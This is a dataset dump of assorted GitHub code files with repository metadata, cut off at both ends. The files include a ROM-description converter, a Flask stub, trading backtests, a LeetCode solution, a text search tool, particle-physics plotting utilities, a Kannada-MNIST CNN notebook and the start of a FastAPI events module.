   rbfname=\"Xevious\"\n    count = 0\n    for rom in romlist:\n        ofilename=rom['ofile'].replace('.rom','.mra')\n        if count==0:\n            ofiledir='_newarcade/'\n            os.makedirs(ofiledir,exist_ok=True)\n            ofilename=ofiledir+rbfname+'.mra'\n        else:\n            ofiledir='_newarcade/_hacks/_'+rbfname+'/'\n            os.makedirs(ofiledir,exist_ok=True)\n            ofilename=ofiledir+ofilename\n\n        with open(ofilename,\"w\") as fp:\n            zf1= zipfile.ZipFile(rom['zip1'], 'r')\n            try:\n              zf2= zipfile.ZipFile(rom['zip2'], 'r')\n              mrazip2=lreplace('MAME/','',rom['zip2'])\n            except KeyError:\n              print ('ERROR: Did not find zip2')\n\n            mrazip1=lreplace('MAME/','',rom['zip1'])\n\n            fp.write('<misterromdescription>\\n')\n            fp.write('  <rbf>{}</rbf>\\n'.format(rbfname))\n            fp.write('  <rom index=\"0\" zip=\"{}\" md5=\"{}\">\\n'.format(mrazip1,rom['md5']))\n            for part in rom['ifiles']:\n\n               if part[0]=='\"':\n                   part=part.strip('\"')\n               if part[0]=='.' and part[1]=='.':\n                   rfname=part.replace('../','')\n                   print('GOT REAL FILE {}'.format(rfname))\n                   with open(rfname,'rb') as rfp:\n                       fp.write('      <part dt:dt=\"bin.hex\">\\n')\n                       hexcount=1\n                       byte = rfp.read(1)\n                       while byte:\n                        fp.write(byte.hex()+' ')\n                        if (not (hexcount %16)):\n                          fp.write('\\n')\n                        byte=rfp.read(1)\n                        hexcount=hexcount+1\n                       fp.write('      </part>\\n')\n               else:\n                try:\n                 info = zf1.getinfo(part)\n                except KeyError:\n                 print ('ERROR: Did not find %s in zip file' % part )\n                 try:\n                   info = zf2.getinfo(part)\n                 except KeyError:\n                   print ('ERROR: Did not find %s in zip file ' % part )\n                 else:\n                   print ('%s is %d bytes' % (info.filename, info.file_size))\n                   fp.write('        <part zip=\"{}\" name=\"{}\"/>\\n'.format(mrazip2,part))\n                else:\n                 print ('%s is %d bytes' % (info.filename, info.file_size))\n                 fp.write('        <part name=\"{}\"/>\\n'.format(part))\n            fp.write('  </rom>')\n            fp.write('  </misterromdescription>')\n        print(rom)\n        count=count+1\n\n\nif __name__ == \"__main__\":\n    for arg in sys.argv:\n        if (arg!=sys.argv[0]):\n            romlist=load_file(arg)\n            process_roms(romlist)\n","repo_name":"alanswx/MraExamples","sub_path":"bruno_bat_convert.py","file_name":"bruno_bat_convert.py","file_ext":"py","file_size_in_byte":6952,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"31263624255","text":"class Dog:\n    def __init__(self, name, age):\n        self.name = name\n        self.age = age\n\n    def sit(self):\n        print(f\"{self.name} is now sitting.\")\n\n    def roll_over(self):\n        print(f\"{self.name} rolled over!\")\n\n\nmy_dog = Dog('Willie', 6)\nprint(f\"My dog's name is {my_dog.name}\")\nprint(f\"My dog is {my_dog.age} year old.\")\nmy_dog.sit()\nmy_dog.roll_over()\n\n\nyour_dog = Dog('Lucy', 3)\nprint(f\"Your dog's name is {your_dog.name}\")\nprint(f\"Your dog is {your_dog.age} year old.\")\nyour_dog.sit()\nyour_dog.roll_over()\n\n\nsuper_dog = Dog('SUPER', 27)\nprint(f\"This dog's name is {super_dog.name}\")\nprint(f\"This dog is {super_dog.age} year old.\")\nsuper_dog.sit()\nsuper_dog.roll_over()\n","repo_name":"DimaBaltin/test1","sub_path":"Class/new clas.py","file_name":"new clas.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28505734123","text":"from flask import Flask, request, jsonify\nimport json\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route('/chat_test', methods=['POST'])\ndef chat_test():\n    data = json.loads(request.get_data())\n    print(data)\n    print('Model: ' + data['model'])\n    print('Prompt: ' + data['prompt'])\n    response = {'status': input('type status: '), 'message': input('type response: ')}\n    response = json.dumps(response)\n    return response, 200\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"UEFI-code/BachelorGraduationDesign","sub_path":"Frontend/dummyBackend.py","file_name":"dummyBackend.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35496618926","text":"#26.py\n\"\"\"\n26. Numa eleição existem três candidatos. Faça um programa que peça o número \ntotal de eleitores. Peça para cada eleitor votar e ao final mostrar o número\nde votos de cada candidato.\n\"\"\"\nq = int(input(\"Digite a quantidade de eleitores: \"))\nvotos = []\ns = 0\nx = 0\n\nwhile x <= q - 1:\n\tvotos.append(input(\"\\nVote a/b/c: \"))\n\tx += 1\n\nx = 0\nk1 = 0\nk2 = 0\nk3 = 0\nwhile x <= q - 1:\n\tif votos[x] in 'a':\n\t\tk1 += 1\n\telif votos[x] in 'b':\n\t\tk2 += 1\n\telif votos[x] in 'c':\n\t\tk3 += 1\n\tx += 1\n\nprint('\\nCandidato a %d votos' %k1)\nprint('\\nCandidato b %d votos' %k2)\nprint('\\nCandidato c %d votos' %k3) ","repo_name":"VictorBezpy/EstruturaDeRepeticao","sub_path":"26.py","file_name":"26.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24624564374","text":"import pandas_datareader as pdr\r\nfrom datetime import datetime\r\nfrom datetime import timedelta\r\nimport pandas as pd\r\nfrom backtesting import Backtest, Strategy\r\nfrom backtesting.lib import crossover\r\n\r\ndef SMA(values, n):\r\n    return pd.Series(values).rolling(n).mean()\r\ndef EMA(values, n):\r\n    return pd.Series(values).ewm(span=n,min_periods=0, adjust=False).mean()\r\ndef RSI(array, n=14):\r\n    gain = pd.Series(array).diff()\r\n    loss = gain.copy()\r\n    gain[gain < 0] = 0\r\n    loss[loss > 0] = 0\r\n    rs = gain.ewm(span=n,min_periods=0,adjust=False).mean()/loss.abs().ewm(span=n,min_periods=0,adjust=False).mean()\r\n    return 100 - 100 / (1 + rs)\r\n    \r\nclass SMAC(Strategy):\r\n\t\tdef init(self):\r\n\t\t\tprice = self.data.Close\r\n\t\t\tself.sma1 = self.I(SMA, price, 10)\r\n\t\t\tself.sma2 = self.I(SMA, price, 20)\r\n\t\tdef next(self):\r\n\t\t\tif crossover(self.sma1, self.sma2):\r\n\t\t\t\tself.buy()\r\n\t\t\telif crossover(self.sma2, self.sma1):\r\n\t\t\t\tself.sell()\r\nclass EMAC(Strategy):\r\n    def init(self):\r\n        price = self.data.Close\r\n        self.ema1 = self.I(EMA, price, 7)\r\n        self.ema2 = self.I(EMA, price, 27)\r\n        self.ema3 = self.I(EMA, price, 200)\r\n    def next(self):\r\n        if crossover(self.ema1, self.ema3):\r\n            self.buy()\r\n        elif crossover(self.ema3, self.ema1) and crossover(self.ema2, self.ema1):\r\n            self.sell()\r\n\r\nclass RSISystem(Strategy):\r\n     def init(self):\r\n         price= self.data.Close\r\n         self.RSIData = self.I(RSI,price,14)\r\n         self.ema3 = self.I(EMA, price, 5)\r\n         self.ema4 = self.I(EMA, price, 10)\r\n     def next(self):\r\n         if not self.position and self.RSIData<30 and crossover(self.ema4, self.ema3):    \r\n            self.buy()\r\n         elif self.RSIData>70 and crossover(self.ema3, self.ema4):\r\n            if self.position.size>0:\r\n                self.position.close()\r\n\r\n# stock = pdr.get_data_yahoo(symbols='SPY', start = datetime.today()-timedelta(days=3652), end =datetime.today())\r\nstock = pdr.get_data_yahoo(symbols='SPY', start = '2011-12-1', end ='2021-12-1')\r\n\r\nbt = Backtest(stock, EMAC,cash=10000, commission = 0.000,\r\n    exclusive_orders= True)\r\n\r\nprint(bt.run())","repo_name":"DanielPace14/Backtesting","sub_path":"Backtesting.py","file_name":"Backtesting.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5663480593","text":"from collections import deque \n\nclass Solution:\n    def openLock(self, deadends: List[str], target: str) -> int:\n        queue = deque()\n\n        queue.append([[\"0\", \"0\", \"0\", \"0\"], 0])\n        turns = 0 \n        deadends = set(deadends)\n        visited = set()\n        while queue:\n            currentNode, cost = queue.popleft()\n            # print(currentNode, cost)\n            tuplified = tuple(currentNode)\n            if tuplified in visited:\n                continue \n            currentString = \"\".join(currentNode)\n            if currentString == target:\n                return cost \n            if currentString in deadends:\n                continue \n\n                \n            visited.add(tuple(currentNode))\n            for index, char in enumerate(currentNode):\n                newChar = getNextChar(char)\n                newChar2 = getPrevChar(char)\n                tempCopy = currentNode[:]\n                tempCopy2 = currentNode[:]\n                tempCopy[index] = newChar \n                tempCopy2[index] = newChar2\n                queue.append([tempCopy, cost + 1])\n                queue.append([tempCopy2, cost + 1])\n                \n\n            \n        return -1\n                \n                \ndef getPrevChar(currentChar):\n    current = int(currentChar)\n    current -= 1 \n    if current < 0:\n        current = 9 \n    return str(current)\n        \ndef getNextChar(currentChar):\n    current = int(currentChar)\n    current += 1 \n    if current == 10:\n        current = 0 \n    return str(current)","repo_name":"KaiKaizxc/Data-stuctures-and-algo","sub_path":"Graphs/752. Open the Lock.py","file_name":"752. Open the Lock.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"9743495224","text":"\nimport devon, devon.projects\nfrom devon.tags import *\nimport fnmatch, glob, mmap, os.path, re, sys\n\nreNewLine = re.compile(\"\\n\")\n\n# **************************************************************************************************\n\ndef search(path, terms, out, replaceTerms=None, fileTypes=None, caseSensitive=True):\n    if not terms:\n        return 0\n\n    return searchDir(path, terms, replaceTerms, out, fileTypes, caseSensitive)\n\ndef searchProject(project, terms, out, replaceTerms=None, fileTypes=None, caseSensitive=True):\n    if not terms:\n        return 0\n    \n    projectFilePath = os.path.join(project.path, devon.projects.projectFileName)\n    \n    paths = [projectFilePath] \\\n        + project.getSources() \\\n        + project.getTestSources()\n\n    if fileTypes:\n        patterns = fileTypes.split(\",\")\n        def fileFilter(path, patterns):\n            for pattern in patterns:\n                if fnmatch.fnmatch(path, pattern.strip()):\n                    return True\n            return False\n        paths = [path for path in paths if fileFilter(path, patterns)]\n\n    findCount = 0\n\n    for filePath in paths:\n        fullPath = os.path.join(project.path, filePath)\n        if os.path.isfile(fullPath) and isSearchable(fullPath):\n            findCount += searchFile(fullPath, terms, replaceTerms, out, caseSensitive)\n    \n    for childProject in project.getChildProjects():\n        findCount += searchProject(childProject, terms, out, \\\n            replaceTerms, fileTypes, caseSensitive)\n\n    return findCount\n    \ndef searchDir(path, terms, replaceTerms, out, fileTypes):\n    findCount = 0\n    \n    if fileTypes:\n        dirNames = glob.glob(os.path.join(path, fileTypes))\n    else:\n        dirNames = os.listdir(path)\n\n    for dirName in dirNames:\n        if not dirName[0] == \".\":\n            dirPath = os.path.join(path, dirName)\n            if os.path.isdir(dirPath):\n                findCount += searchDir(dirPath, terms, out)\n            else:\n                findCount += searchFile(dirPath, terms, out)\n\n    return findCount\n    \ndef searchFile(path, terms, replaceTerms, out, caseSensitive):\n    findCount = 0\n    \n    reFlags = 0\n    if not caseSensitive:\n        reFlags |= re.IGNORECASE\n\n    reTerms = re.compile(re.escape(terms), reFlags)\n\n    if not replaceTerms == None:\n        fd = os.open(path, os.O_RDWR)\n        size = os.fstat(fd).st_size\n        if size == 0:\n            os.close(fd)\n            return 0\n        else:\n            source = mmap.mmap(fd, size, access=mmap.ACCESS_WRITE)\n            newSource, count = re.subn(reTerms, replaceTerms, source)\n            source.close()\n            \n            if count == 0:\n                os.close(fd)\n                return 0       \n            else:\n                os.lseek(fd, 0, 0)\n                os.ftruncate(fd, len(newSource))\n                os.write(fd, newSource)\n                os.close(fd)\n                return count\n\n    fd = os.open(path, os.O_RDONLY)\n    size = os.fstat(fd).st_size\n    if size == 0:\n        os.close(fd)\n        return 0\n    else:    \n        source = mmap.mmap(fd, size, access=mmap.ACCESS_READ)\n        \n        termsLen = len(terms)\n        index = 0\n        while 1:\n            m = reTerms.search(source, index)\n            if not m:\n                break\n            \n            findCount += 1\n            index = m.start()\n            \n            lineCount, lineBegin, lineEnd = countLines(source, index)\n            snippet = source[lineBegin:lineEnd]\n            col1 = m.start()-lineBegin+1\n            col2 = m.end()-lineBegin+1\n            \n            out << Header(level=2) \\\n                    << FileLink(path=path, lineNo=lineCount, colNo1=col1, \\\n                                colNo2=col2, rowType=\"primary\") \\\n                        << \"%s (line %s)\" % (path, lineCount) \\\n                    << Close \\\n                << Close \\\n                << CodeBlock(\"log log-snippet\") << snippet << Close << Flush\n\n            index += termsLen\n\n        source.close()\n        os.close(fd)\n\n    return findCount\n    \ndef countLines(source, endPos):\n    lines = 0\n    lineBegin = 0\n    lineEnd = 0\n    \n    index = 0\n    while index <= endPos:\n        m = reNewLine.search(source, index)\n        if not m:\n            break\n        else:\n            index = m.end()\n            lines += 1\n            lineBegin = lineEnd\n            lineEnd = index\n    \n    return lines, lineBegin, lineEnd\n    \ndef isSearchable(path):\n    name, ext = os.path.splitext(path)\n    name = os.path.basename(name)\n    return (not name == \"pch.h\") and not ext in [\".jpg\", \".jpeg\", \".png\", \".gif\", \".psd\", \".pyc\", \".jssc\"]\n    ","repo_name":"joehewitt/devon","sub_path":"devon/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"24346881143","text":"import numpy as np\nimport ROOT\nimport pyhepmc\nimport os\nfrom array import array\n\ndef get_model_setup(model,setup=None):\n\n    masses = couplings = decays = None\n\n    if model==\"DarkPhoton\":\n    \n        #pids=[[-11, 11],[-13,13],[999,999]]\n        decays=[\"e_e\",\"mu_mu\",\"had\"]\n        \n        masses = [ \n            0.01  ,\n            0.0501,\n            0.1585,\n            0.3548,\n            0.6457,\n            0.7586,\n            0.8913,\n            1.2589,\n            2.8184\n        ]\n        couplings=np.logspace(-8,-3,20)\n        \n        \n        masses=[0.1585]\n        couplings=[1.2742749857031322e-06]\n\n        \n        \n    elif model==\"DarkHiggs\":\n        #decays=[\"e_e\",\"mu_mu\",\"pi_pi\",\"4pi\",\"K_K\",\"other\"]\n        #decays=[\"e_e\",\"mu_mu\",\"pi_pi\",\"K_K\"]\n        decays=[\"e_e\"]\n        \n        \n        masses = [   \n            0.1   ,  \n            0.2239,  \n            0.5012,  \n            0.6918,  \n            0.8128,  \n            0.955 ,\n            1.5849,  \n            3.5   ,\n            11.22 ,  \n            25.119\n        ]\n\n        couplings=np.logspace(-6,-3,20)\n        \n        #masses = [0.6918]\n        #couplings = [0.001]\n        \n        # Use full mass-coupling fidelity (same as original FORESEE reach plots)\n        if setup and setup == \"full\":\n            masses = [\n                0.1   ,  0.1122,  0.1259,  0.1413,  0.1585,  0.1778,  0.1995,  \n                0.2239,  0.2512,  0.2818,  0.3162,  0.3548,  0.3981,  0.4467,  \n                0.5012,  0.5623,  0.6026,  0.631 ,  0.6457,  0.6607,  0.6761,  \n                0.6918,  0.7079,  0.7244,  0.7413,  0.7586,  0.7762,  0.7943,  \n                0.8128,  0.8318,  0.8511,  0.871 ,  0.8913,  0.912 ,  0.9333,  \n                0.955 ,  0.9772,  1.    ,  1.122 ,  1.2589,  1.4125,  1.5   ,\n                1.5849,  1.7783,  1.9953,  2.2387,  2.5119,  2.8184,  3.1623,  \n                3.5   ,  3.7   ,  3.9811,  5.0119,  6.3096,  7.9433,  10.   ,\n                11.22 ,  12.589,  14.125,  15.849,  17.783,  19.953,  22.387,  \n                25.119,  28.184,  31.623,  39.811,  50.119,  55.000,  60.000,\n                63.096,  79.430,  99.9\n            ]\n            couplings=np.logspace(-8,-3,20)\n\n    else:\n        print(f\"ERROR: Couldn't find setup for model {model}\")\n\n    return masses,couplings,decays\n\n\n\ndef clear_csvs(runmode,setup,currdir,outdir,energy):\n    if runmode==\"eff\":\n        if \"G4\" not in setup:\n            return\n        for G4setup in setup[\"G4\"]:\n            for station in setup[\"stations\"]:\n                for eff in setup[\"effs\"]:\n                    effname=f\"{currdir}/{outdir}/eff_{energy}TeV_{G4setup}_station{station}_{eff}.csv\"\n                    print(f\"Clearing eff file {effname}\")\n                    efffile = open(effname,'w')\n                    efffile.close()\n\n\ndef get_effs(hepname,sumall,sumeffs,outroot,decay,station,effs):\n          \n    # get xs from hepmc\n    if not os.path.exists(hepname):\n        print(f\"HepMC file {hepname} not found - skipping\")\n        return sumall,sumeffs\n    \n    xs=0.\n    print(\"JOSH2\",hepname)\n    with pyhepmc.open(hepname) as f:\n        print(\"JOSH3\")\n        event = f.read()\n        print(\"JOSH4\")\n        xs=event.cross_section.xsec()\n        print(\"Found cross section:\",xs)\n        print(\"JOSH5\")\n        if not os.path.exists(outroot):\n            print(f\"ROOT file {outroot} not found - skipping\")\n            return sumall,sumeffs\n\n        print(f\"Working on ROOT file {outroot}\")\n        \n        try:\n            f_eff=ROOT.TFile.Open(outroot,\"READ\")\n        except:\n            print(f\"ERROR: ROOT file {outroot} not opened properly\")\n            return sumall,sumeffs\n            \n        t_eff = f_eff.Get(f\"Hits{station}\")\n        if not t_eff:\n            print(f\"ERROR: TTree Hits{station} not opened properly\")\n            return sumall,sumeffs\n\n        \n        varp=''\n        varm=''\n        if decay==\"e_e\":\n            varp='ep'\n            varm='em'\n        elif decay==\"mu_mu\":\n            varp='mp'\n            varm='mm'\n        else:\n            varp='hp'\n            varm='hm'\n            \n        # Just use this to make a histogram, doesn't really matter what the variable is\n        vary=varp+'_y'                                \n        print(f\"Using var {vary}\")\n        \n        # Get total number of events\n        hall=ROOT.TH1F(\"hall\",\"hall\",1000,0,10000)                                \n        t_eff.Draw(f\"{vary}>>hall\");\n        # Normalise to cross section\n        sumall+=hall.Integral()*xs\n        print(f\"decay = {decay}, all =\",hall.Integral(),xs,hall.Integral()*xs)\n        \n        # Get number of events passing each efficiency cut\n        for n,(effval,efftitle,effstring) in enumerate(effs):\n            # Correct eff string to be for relevant object in root file\n            effstring=effstring.replace('ep',varp).replace('em',varm)\n            heff=ROOT.TH1F(\"heff\",\"heff\",1000,0,10000)\n            t_eff.Draw(f\"{vary}>>heff\",effstring)\n            \n            print(f\"decay = {decay},\",effstring,\",\",effs[n],\"=\",heff.Integral(),xs,heff.Integral()*xs)\n            sumeffs[n]+=heff.Integral()*xs\n\n        f_eff.Close()\n        \n    return sumall,sumeffs\n\n\ndef plot_seps(currdir,outdir,energy,mass,coup,decay,G4setup,setup_name):\n    infile=f\"{currdir}/{outdir}/events_{energy}TeV_m{mass}GeV_c{coup}_to_{decay}_s1_{G4setup}.root\"\n    if not os.path.exists(infile):\n        print(f\"ROOT file {infile} not found - skipping\")\n        return\n                        \n    \n    ROOT.gStyle.SetOptStat(0)\n    ROOT.gStyle.SetOptTitle(0)\n \n    f_L1 = ROOT.TFile.Open(infile)\n    t_L1 = f_L1.Get(\"Hits1\")\n    \n    f_L2 = ROOT.TFile.Open(infile)\n    t_L2 = f_L2.Get(\"Hits2\")\n    \n    f_L3 = ROOT.TFile.Open(infile)\n    t_L3 = f_L3.Get(\"Hits3\")\n    \n    nbins = 50\n    xmin = 1e-3\n    xmax = 1e5\n    logxmin = ROOT.TMath.Log10(xmin)\n    logxmax = ROOT.TMath.Log10(xmax)\n    binwidth = (logxmax-logxmin)/nbins\n    xbins = [xmin]\n    for i in range(1,nbins+1) :\n        xbins.append(float(xmin + ROOT.TMath.Power(10,logxmin+i*binwidth)))\n        \n  \n    c1 = ROOT.TCanvas(\"c1\",\"c1\")\n    \n    #print(xmin,array('d',xbins))\n    \n    h_dy_L1 = ROOT.TH1D(\"h_dy_L1\",\"h_dy_L1\",nbins,array('d',xbins))\n    print(t_L1,h_dy_L1)\n    t_L1.Draw(\"abs(ep_y-em_y)>>h_dy_L1\")\n    print(h_dy_L1)\n    \n    h_dy_L2 = ROOT.TH1D(\"h_dy_L2\",\"h_dy_L2\",nbins,array('d',xbins))\n    t_L2.Draw(\"abs(ep_x-em_x)>>h_dy_L2\")\n    \n    h_dy_L3 = ROOT.TH1D(\"h_dy_L3\",\"h_dy_L3\",nbins,array('d',xbins))\n    t_L3.Draw(\"abs(ep_x-em_x)>>h_dy_L3\")\n    \n    if h_dy_L1.Integral(): h_dy_L1.Scale(1./h_dy_L1.Integral())\n    if h_dy_L2.Integral(): h_dy_L2.Scale(1./h_dy_L2.Integral())\n    if h_dy_L3.Integral(): h_dy_L3.Scale(1./h_dy_L3.Integral())\n\n  \n    h_dy_L1.SetMaximum(1.1*ROOT.TMath.Max(h_dy_L1.GetMaximum(),h_dy_L3.GetMaximum()))\n    h_dy_L1.GetXaxis().SetTitle(\"Separation [mm]\")\n    h_dy_L1.GetXaxis().SetTitleSize(0.045)\n    \n    h_dy_L1.SetLineColor(ROOT.kBlue+1)\n    h_dy_L1.SetLineWidth(3)\n    h_dy_L1.Draw(\"hist\")\n    \n    h_dy_L2.SetLineStyle(ROOT.kDashed)\n    h_dy_L2.SetLineColor(ROOT.kBlue+1)\n    h_dy_L2.SetLineWidth(3)\n    h_dy_L2.Draw(\"histsame\")\n\n    h_dy_L3.SetLineStyle(ROOT.kDotted)\n    h_dy_L3.SetLineColor(ROOT.kBlue+1)\n    h_dy_L3.SetLineWidth(3)\n    h_dy_L3.Draw(\"histsame\")\n\n    \n    c1.SetLogx()\n    c1.SetTickx()\n    c1.SetTicky()\n    \n    leg = ROOT.TLegend(0.7,0.85,0.85,0.6)\n    leg.SetBorderSize(0)\n    leg.SetFillColor(0)\n    leg.SetTextSize(0.04)\n    leg.AddEntry(h_dy_L1,\"Station 1\",\"l\")\n    leg.AddEntry(h_dy_L2,\"Station 2\",\"l\")\n    leg.AddEntry(h_dy_L3,\"Station 3\",\"l\")\n    \n    leg.Draw()\n    \n    latex = ROOT.TLatex()\n    latex.SetNDC()\n    latex.SetTextFont(42)\n    latex.SetTextSize(0.06)\n    latex.DrawLatex(0.15,0.8,\"#bf{#it{FASER2}}\")\n    latex.SetTextSize(0.05)\n    latex.DrawLatex(0.32,0.8,setup_name)\n    latex.SetTextSize(0.04)\n\n    latex2 = ROOT.TLatex()\n    latex2.SetNDC()\n    latex2.SetTextFont(42)\n    latex2.SetTextSize(0.04)\n    latex2.DrawLatex(0.15,0.75,f\"m={mass} GeV\")\n    latex2.DrawLatex(0.15,0.7,f\"#varepsilon={coup:.5g}\")\n    latex2.SetTextSize(0.04)\n\n    c1.SaveAs(f\"{currdir}/{outdir}/plot_sep_stations_{energy}TeV_m{mass}GeV_c{coup}_to_{decay}_s1_{G4setup}.pdf\")\n","repo_name":"joshmcfayden/FASER2_GenSim","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"69947780538","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n    for filename in filenames:\n\n        print(os.path.join(dirname, filename))\n\n\n\n# Any results you write to the current directory are saved as output.\ntrain = '/kaggle/input/Kannada-MNIST/train.csv'\n\ntest = '/kaggle/input/Kannada-MNIST/test.csv'\n\n\n\ndataset = pd.read_csv(train)\n\ndataset_test = pd.read_csv(test)\n\ndataset_test = dataset_test.drop(['id'], axis = 1)\n\n\n\nfeatures = dataset.drop(['label'], axis = 1)\n\nlabels = dataset['label']\n\ndataset_test.head()\nfeatures = features.values\n\nfeatures_test = dataset_test.values\n\nprint(features.shape)\n\nprint(features_test.shape)\n\n\n\nfeatures = features.reshape((features.shape[0], 28, 28))\n\nfeatures_test = features_test.reshape((features_test.shape[0], 28, 28))\n\n\n\nprint(features.shape)\n\nprint(features_test.shape)\nfrom keras.utils import np_utils\n\n\n\nseed = 300\n\ntest_size = 0.2\n\n\n\n# Import train_test_split\n\nfrom sklearn.model_selection import train_test_split\n\n# Split the 'features' and 'labels' data into training and testing sets\n\nX_train, X_test, y_train, y_test = train_test_split(features, labels, test_size = test_size, random_state = seed, stratify=labels)\n\n#X_test, X_valid, y_train, y_valid = train_test_split(X_test, y_test, test_size = 0.1, random_state = seed)\n\n\n\nX_train = np.repeat(X_train[..., np.newaxis], 1, -1)\n\nX_test = np.repeat(X_test[..., np.newaxis], 1, -1)\n\nfeatures_test = np.repeat(features_test[..., np.newaxis], 1, -1)\n\n\n\ny_train = np_utils.to_categorical(np.array(y_train), 10)\n\ny_test = np_utils.to_categorical(np.array(y_test), 10)\n\n\n\nprint(\"features set has {} samples.\".format(features.shape))\n\nprint(\"Training set has {} samples.\".format(X_train.shape))\n\nprint(\"Testing set has {} samples.\".format(X_test.shape))\n\n#print(\"Valid set has {} samples.\".format(X_valid.shape[0]\n\n\nfrom keras.layers import Conv2D, MaxPooling2D, GlobalAveragePooling2D\n\nfrom keras.layers import Dropout, Flatten, Dense, BatchNormalization\n\nfrom keras.models import Sequential\n\n\n\nmodel = Sequential()\n\n\n\nmodel.add(Conv2D(filters=16, kernel_size=5, padding='same', activation='relu', input_shape=(28, 28, 1)))\n\nmodel.add(Conv2D(filters=16, kernel_size=5, padding='same', activation='relu'))\n\nmodel.add(BatchNormalization())\n\nmodel.add(MaxPooling2D(pool_size=2))\n\nmodel.add(Dropout(0.4))\n\n\n\nmodel.add(Conv2D(filters=32, kernel_size=5, padding='same', activation='relu'))\n\nmodel.add(Conv2D(filters=32, kernel_size=5, padding='same', activation='relu'))\n\nmodel.add(BatchNormalization())\n\nmodel.add(MaxPooling2D(pool_size=2))\n\nmodel.add(Dropout(0.4))\n\n\n\nmodel.add(Conv2D(filters=64, kernel_size=5, padding='same', activation='relu'))\n\nmodel.add(Conv2D(filters=64, kernel_size=5, padding='same', activation='relu'))\n\nmodel.add(BatchNormalization())\n\nmodel.add(MaxPooling2D(pool_size=2))\n\nmodel.add(Dropout(0.4))\n\n\n\nmodel.add(Flatten())\n\nmodel.add(Dense(512, activation='relu'))\n\nmodel.add(Dropout(0.5))\n\nmodel.add(Dense(1024, activation='relu'))\n\nmodel.add(Dropout(0.5))\n\nmodel.add(Dense(10, activation='softmax'))\n\n\n\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\nfrom keras.callbacks import ModelCheckpoint  \n\n\n\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n\n\nWEIGHTS_FILE = 'weights.base.hdf5'\n\n### TODO: specify the number of epochs that you would like to use to train the model.\n\n\n\nepochs = 100\n\n\n\n### Do NOT modify the code below this line.\n\n\n\ncheckpointer = ModelCheckpoint(filepath='WEIGHTS_FILE', \n\n                             verbose=1, save_best_only=True)\n\n\n\nhistory = model.fit(X_train, \n\n                  y_train, \n\n                  validation_data=(X_test, y_test),\n\n                  epochs=epochs, \n\n                  batch_size=200, \n\n                  callbacks=[checkpointer], \n\n                  verbose=1)\nimport matplotlib.pyplot as plt\n\nimport numpy\n\n\n\ndef plot_history(history):\n\n    # summarize history for accuracy\n\n    plt.plot(history.history['accuracy'])\n\n    plt.plot(history.history['val_accuracy'])\n\n    plt.title('model accuracy')\n\n    plt.ylabel('accuracy')\n\n    plt.xlabel('epoch')\n\n    plt.legend(['train', 'test'], loc='upper left')\n\n    plt.show()\n\n    # summarize history for loss\n\n    plt.plot(history.history['loss'])\n\n    plt.plot(history.history['val_loss'])\n\n    plt.title('model loss')\n\n    plt.ylabel('loss')\n\n    plt.xlabel('epoch')\n\n    plt.legend(['train', 'test'], loc='upper left')\n\n    plt.show()\nplot_history(history)\nprint(features_test.shape)\n\n# get index of predicted dog breed for each image in test set\n\npredictions = [np.argmax(model.predict(np.expand_dims(tensor, axis=0))) for tensor in features_test]\n\n\n\nprint(np.array(predictions))\nprint(np.array(predictions))\n\npredictions_df = pd.DataFrame(np.array(predictions), columns = ['Label'])\n\npredictions_df.reset_index(level=0, inplace=True)\n\npredictions_df.columns = ['id', 'label']\n\npredictions_df.index += 1 \n\npredictions_df.to_csv('predictions.csv', index = False)\n\npredictions_df.head()","repo_name":"aorursy/new-nb-5","sub_path":"mrugeles_kannada-mnist.py","file_name":"mrugeles_kannada-mnist.py","file_ext":"py","file_size_in_byte":5536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73427564215","text":"\"\"\"FastAPI blueprint, that contains events manipulation methods.\"\"\"\n\nimport datetime as dt\n\nfrom fastapi import APIRouter, Depends\nfrom pydantic import BaseModel\nfrom sqlalchemy import desc, select\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy.orm import sessionmaker\n\nfrom .utils.exceptions import LogicException\nfrom .utils.models import (\n    UserModel,\n    EventModel,\n    SavePointModel,\n    create_account_entry,\n)\nfrom .user import authorized_user\nfrom .utils.database import get_session\n\n\nrouter = APIRouter()\n\n\nasync def _update_or_create_savepoint(\n    session: AsyncSession, user_id, account_id, event_time: dt.datetime\n):\n    # event in the start of the month is not accounted for\n    # in the savepoint at a same time, it would be in a next savepoint\n    month_start = event_time.replace(\n        day=1, hour=0, minute=0, second=0, microsecond=0\n    )\n    query = (\n        await session.execute(\n            select(SavePointModel)\n            .where(SavePointModel.user_id == user_id)\n            .where(SavePointModel.account_id == account_id)\n            